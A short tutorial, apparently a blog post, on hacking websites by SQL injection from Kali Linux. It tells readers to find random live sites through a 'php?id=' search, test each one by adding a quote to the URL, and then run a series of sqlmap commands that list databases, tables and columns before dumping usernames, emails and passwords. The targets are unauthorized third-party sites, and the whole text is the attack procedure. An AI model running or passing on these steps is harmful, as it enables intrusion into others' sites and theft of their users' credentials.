How to do sql injection using Kali Linux

In this tutorial, we will discuss how to hack site using sql injection in kali linux.

1. Run Kali Linux.

2. Start Iceweasel browser and search the query "php?id=".

3. Then click on any link any check the vulnerablity of the site by adding ' quote in the url.

4. If site shows error then it means it is vulnerable.

5. Then copy the link of the site without ' quote.

6. Now open terminal and type sqlmap -u (urlofthesite) --dbs.

7. Wait for few seconds while the scanning is complete.

8. After the completion, type sqlmap -u (urlofthesite) -D (databasename) --tables.

9. After that type sqlmap -u (urlofthesite) -D (databasename) -T (nameofthetable) --columns.

10. After that type sqlmap -u (urlofthesite) -D (databasename) -T (nameofthetable) -C column1,column2 --dump

Then you get the data you want like username, email, password, etc.